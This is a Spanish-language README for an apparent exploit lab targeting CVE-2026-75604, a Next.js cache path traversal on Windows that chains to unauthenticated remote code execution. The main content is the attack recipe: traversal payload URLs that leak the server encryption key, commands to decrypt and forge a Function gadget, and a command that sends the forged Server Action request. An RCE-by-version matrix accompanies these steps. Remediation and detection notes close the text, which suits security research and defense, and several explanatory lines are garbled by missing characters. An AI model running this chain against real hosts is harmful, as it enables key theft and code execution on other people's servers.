
# Laboratorio de reproducción y herramientas de explotación para CVE-2026-75604, un path traversal en la caché incremental de Next.js que conduce a RCE no autenticado en Windows. Incluye PoC, CLI de forja y arnés para pruebas.
Laboratorio de reproducción y herramientas de explotación para CVE-2026-75604, un path-traversal no autenticado en la caché incremental de Next.js que afecta a hosts con Windows. Una única barra invertida sin escapar permite a un atacante leer y escribir archivos fuera del directorio de caché; en las versiones y formas de aplicación adecuadas encadena hasta ejecución remota de código no autenticada.
Investigación de Fortbridge. Informe completo: Reproduciendo CVE-2026-75604 (enlace al blog - actualizar tras la publicación).
⚠️ Solo pruebas autorizadas. Esta es una aplicación deliberadamente vulnerable y un exploit funcional para un CVE parcheado. Úsalo en una red de laboratorio aislada que sea tuya. Nunca despliegues el objetivo en ningún lugar accesible desde producción o internet.
escapePathDelimiters (utilidades del router de Next.js) escapa /, #, ? pero .
Una barra invertida codificada en porcentaje () en un segmento de ruta se decodifica a un sin procesar,
sobrevive hasta la clave de la caché incremental y - dado que en Windows es un separador de rutas -
sale de la raíz de la caché. El mismo código respalda las de la
caché, lo que permite lectura y escritura arbitraria de archivos. Solo Windows; Linux/macOS tratan
como un carácter de nombre de archivo ordinario.
\%5C\\path.join()\Afectadas: 13.4-15.5.23 y 16.0-16.3.2. Corregidas: 15.5.24 / 16.3.3.
El traversal abarca todo el rango afectado, pero el gadget del RCE (una cadena de propiedades
constructor:constructor de React Flight que resuelve al constructor Function) solo funciona
donde react-server-dom-webpack carece de una guarda de referencia añadida a mitad del ciclo de vida:
| Rango de Next.js | Gadget → Function | Impacto |
|---|---|---|
| 13.4 - 14.x | no (sin soporte de rutas de propiedades) | lectura / escritura / bypass de autorización |
| 15.0.0 - 15.5.22 | sí | capaz de RCE |
| 15.5.23 | no (guarda añadida) | solo traversal |
| 16.0.0 - 16.2.x | sí | capaz de RCE |
| 16.3.0 - 16.3.2 | no (guarda añadida) | solo traversal |
| 15.5.24 / 16.3.3 | - | parcheado |
El RCE también requiere una Server Action de orden superior en la aplicación que llame a un valor
ligado a un cierre con entrada del usuario (boundFn(input)()). Las aplicaciones sin ese patrón aún
enfrentan divulgación, escritura/DoS y bypass de autorización de Server Actions. Consulta research/FINDINGS.md
y research/rce-version-matrix.txt.
| ruta | qué |
|---|---|
setup-windows.ps1 | compila e inicia el laboratorio vulnerable en un host Windows (Next 16.2.0 por defecto) |
app/ | objetivo vulnerable mínimo: Server Action de inicio (sumidero RCE) + dos rutas catch-all cacheadas |
exploit.mjs | PoC de solo lectura - filtra encryptionKey mediante el traversal (--burp, --raw, --write) |
forge-cli.mjs | decrypt un argumento ligado genuino / gadget forja el blob Function |
send-action.mjs | pasos 4-5 en un solo comando: POST forjado + lectura de la salida (--proof, --burp) |
harness/ | redescubrimiento independiente del SO - ejecuta el código sin modificar de 16.3.2/16.3.3 bajo path.win32 |
BURP-STEPS.md | la receta coherente de reproducción en 5 pasos |
research/ | diff del parche, matriz de versiones, hallazgos |
evidence/ | capturas de pantalla de una ejecución verificada |
# compila e inicia el laboratorio vulnerable (Next.js 16.2.0)
powershell -File setup-windows.ps1 # imprime BUILD_ID y URLs de verificación
# paso 1 (navegador): calienta, luego abre la lectura del traversal → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (calentar)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# pasos 2-3: descifra un argumento ligado genuino, luego forja el gadget Function
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# pasos 4-5 (a través de Burp): POST forjado + lectura en un solo comando
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
¿Sin máquina Windows? node harness/harness.mjs demuestra el traversal en cualquier SO ejecutando el
código real enviado de Next.js 16.3.2 y 16.3.3 con path vinculado a path.win32.
Actualiza a 15.5.24 o 16.3.3. No existe una solución alternativa in situ para hosts Windows
afectados. Rota los secretos que la lectura pueda haber expuesto - especialmente
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (una clave filtrada sigue siendo válida entre reconstrucciones cuando está fijada).
%5C / ..%5C en un segmento de ruta hacia /_next/data/… o rutas cacheadas de App Router.{"pageProps":…,"__N_SSG":true} (la lectura destructiva)..html / .rsc / .meta) escritos fuera de .next\server\app\ o .next\server\pages\.